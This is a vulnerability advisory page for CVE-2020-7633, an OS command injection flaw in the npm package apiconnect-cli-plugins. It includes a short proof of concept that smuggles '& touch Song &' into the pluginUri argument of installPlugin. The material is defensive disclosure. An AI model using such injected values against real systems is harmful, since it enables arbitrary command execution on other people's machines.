GHSA-C9M9-48PW-6MPV
Vulnerability from github – Published: 2021-05-24 22:18 – Updated: 2023-10-19 18:57
VLAI?
Summary
apiconnect-cli-plugins vulnerable to OS Command Injection
Details
apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the pluginUri argument.
PoC
var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");
The injection point is located in line 181 of file lib/plugin-loader.js, in the function installPlugin(pluginUri, registryUri).
Severity ?
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apiconnect-cli-plugins"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7633"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-19T18:57:46Z",
"nvd_published_at": "2020-04-06T13:15:00Z",
"severity": "CRITICAL"
},
"details": "apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the `pluginUri` argument.\n\n### PoC\n```js\nvar root = require(\"apiconnect-cli-plugins\");\nvar payload = \"\u0026 touch Song \u0026\";\nroot.pluginLoader.installPlugin(payload, \"\");\n```\n\nThe injection point is located in line 181 of file `lib/plugin-loader.js`, in the function `installPlugin(pluginUri, registryUri)`.",
"id": "GHSA-c9m9-48pw-6mpv",
"modified": "2023-10-19T18:57:46Z",
"published": "2021-05-24T22:18:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7633"
},
{
"type": "PACKAGE",
"url": "https://openbase.com/js/apiconnect-cli-plugins"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-APICONNECTCLIPLUGINS-564427"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20211209115530/https://openbase.com/js/apiconnect-cli-plugins"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "apiconnect-cli-plugins vulnerable to OS Command Injection"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…